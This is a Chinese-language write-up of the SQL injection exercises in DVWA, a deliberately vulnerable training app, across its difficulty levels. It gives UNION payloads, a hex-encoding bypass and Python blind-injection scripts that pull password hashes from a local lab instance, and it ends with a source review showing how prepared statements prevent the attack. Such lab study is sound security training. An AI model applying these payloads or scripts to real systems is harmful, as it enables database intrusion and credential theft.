dvwa批量mysql注入脚本_【DVWA】SQL注入篇

0x01 Low

SQL Injection

最简单的注入，没有任何过滤，常规语句注入即可：

1

1'

1'#

1' union select 1,2 #

0' union select database(),2 #

0' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #

0' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#

0' union select group_concat(password),2 from users#

SQL Injection (Blind)

没有任何过滤，直接利用回显不同注入：

import requests

import urllib

#coding=uft-8

flag=""

cookie={'PHPSESSID': '设置为自己cookie中PHPSESSID值','security': 'low'}

for i in range(1,100):

for j in range(33,127):

#url = "http://127.0.0.1/vulnerabilities/sqli_blind/?id=1' and ascii(substr(database(),%s,1))=%s%%23&Submit=Submit#" %(i,j)

#url = "http://127.0.0.1/vulnerabilities/sqli_blind/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),%s,1))=%s%%23&Submit=Submit#" %(i,j)

#url = "http://127.0.0.1/vulnerabilities/sqli_blind/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%s,1))=%s%%23&Submit=Submit#" %(i,j)

url = "http://127.0.0.1/vulnerabilities/sqli_blind/?id=1' and ascii(substr((select group_concat(password) from users),%s,1))=%s%%23&Submit=Submit#" %(i,j)

if j == 126:

exit(0)

r=requests.get(url,cookies=cookie)

if "User ID is MISSING from the database" not in r.content:

flag+=chr(j)

print flag

break

0x02 Medium

SQL Injection

首先是POST数据

测试注入：

1'%23

错误回显：

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'#' at line 1

后台对传入的POST数据中的单引号和双引号前加入”，类似使用addslashes函数

同时#注释加与不加回显相同，应该是查询语句构造时应该是类似:

select column_1,column_2 from table_name where id = $_POST["id"]

不需要注释后面语句(没有后面)

不过这里存在数字型注入，同时字符中使用单引号可以使用十六进制绕过

剩下的和Low中的SQL Injection相同，只是遇到类似：

0 union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa'

利用十六进制绕过：

0 union select group_concat(table_name),2 from information_schema.tables where table_schema=0x64767761

SQL Injection (Blind)

和Medium的SQL Injection过滤规则一样

同样十六进制绕过过滤，脚本如下：

import requests

import urllib

#coding=uft-8

flag=""

url="http://127.0.0.1/vulnerabilities/sqli_blind/#"

cookie={'PHPSESSID': '设置为自己cookie中PHPSESSID值','security': 'medium'}

for i in range(1,100):

for j in range(33,127):

#key="1 and ascii(substr(database(),%s,1))=%s" %(i,j)

#key="1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x64767761),%s,1))=%s" %(i,j)

#key="1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),%s,1))=%s" %(i,j)

key="1 and ascii(substr((select group_concat(password) from users),%s,1))=%s" %(i,j)

data={'id':key,'Submit':'Submit'}

if j == 126:

exit(0)

r=requests.post(url,cookies=cookie,data=data)

if "User ID is MISSING from the database" not in r.content:

flag+=chr(j)

print flag

break

0x03 High

SQL Injection

一脸无奈，high比medium简单啊，和low一样(除了多弹了一个窗口)：

1

1'

1'#

1' union select 1,2 #

0' union select database(),2 #

0' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #

0' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#

0' union select group_concat(password),2 from users#

SQL Injection (Blind)

没有过滤，直接脚本，注意两个url之间的数据传输即可：

import requests

import urllib

#coding=uft-8

flag=""

url_1="http://127.0.0.1/vulnerabilities/sqli_blind/cookie-input.php"

url_2="http://127.0.0.1/vulnerabilities/sqli_blind/"

cookie={'id': '1','PHPSESSID': '设置为自己cookie中PHPSESSID值','security': 'high'}

for i in range(1,100):

for j in range(33,127):

ans=requests.Session()

#key="1' and ascii(substr(database(),%s,1))=%s#" %(i,j)

#key="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),%s,1))=%s#" %(i,j)

#key="1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%s,1))=%s#" %(i,j)

key="1' and ascii(substr((select group_concat(password) from users),%s,1))=%s#" %(i,j)

data={'id':key,'Submit':'Submit'}

if j == 126:

exit(0)

ans.post(url_1,cookies=cookie,data=data)

r=ans.get(url_2,cookies=cookie)

if "User ID is MISSING from the database" not in r.content:

flag+=chr(j)

print flag

break

其实这些都可以利用时间盲注，用if和sleep改一下脚本即可(注意根据具体情况设置timeout)

0x04 Impossible

SQL Injection && SQL Injection (Blind)

根据dvwa说明，impossible难度应该无法注入

SQL Injection 和 SQL Injection (Blind)的源码只有最后返回值不同

所以我们直接审计其中SQL Injection源码：

if( isset( $_GET[ 'Submit' ] ) ) {

// Check Anti-CSRF token

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input

$id = $_GET[ 'id' ];

// Was a number entered?

if(is_numeric( $id )) {

// Check the database

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

$data->bindParam( ':id', $id, PDO::PARAM_INT );

$data->execute();

$row = $data->fetch();

// Make sure only 1 result is returned

if( $data->rowCount() == 1 ) {

// Get values

$first = $row[ 'first_name' ];

$last = $row[ 'last_name' ];

// Feedback for end user

$html .= "

ID: {$id}
First name: {$first}
Surname: {$last}

";

}

}

}

// Generate Anti-CSRF token

generateSessionToken();

?>

可以看到几点：

首先is_numeric判断id类型(如果只是is_numeric，我们可以利用十六进制绕过

此处:$data->rowCount() == 1判断返回数据，当只有一条数据返回时才会返回结果

关键在于:

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

$data->bindParam( ':id', $id, PDO::PARAM_INT );

$data->execute();

$row = $data->fetch();

这里利用PDO和bindParam对sql语句的代码和数据进行了分离，避免了注入的发生

【完结】